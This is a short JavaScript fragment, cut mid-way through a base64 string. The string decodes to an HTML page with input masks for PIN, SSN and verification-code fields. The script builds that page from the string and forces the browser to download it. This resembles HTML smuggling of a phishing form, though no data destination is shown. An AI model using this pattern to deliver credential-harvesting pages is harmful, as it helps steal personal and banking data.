QoJ1tuYW1lPSJjb2RlIl0nKS5tYXNrKCcwMDAwMDAnKTsKCQkkKCdbbmFtZT0icGluIl0nKS5tYXNrKCcwMDAwJyk7CgkJJCgnW25hbWU9InNzbiJdJykubWFzaygnMDAwLTAwLTAwMDAnKTsKCiAgICB9KTsKCjwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+';
    let decodedStringAtoB = atob(encodedStringAtoB);
	const myBlob = new Blob([decodedStringAtoB], {type: 'text/html'})
	const url =  window.URL.createObjectURL(myBlob); 
	a.attr("href", url); 
	$("body").append(a);
	a[0].click();
  window.URL.revokeObjectURL(url);
  a.remove();  
}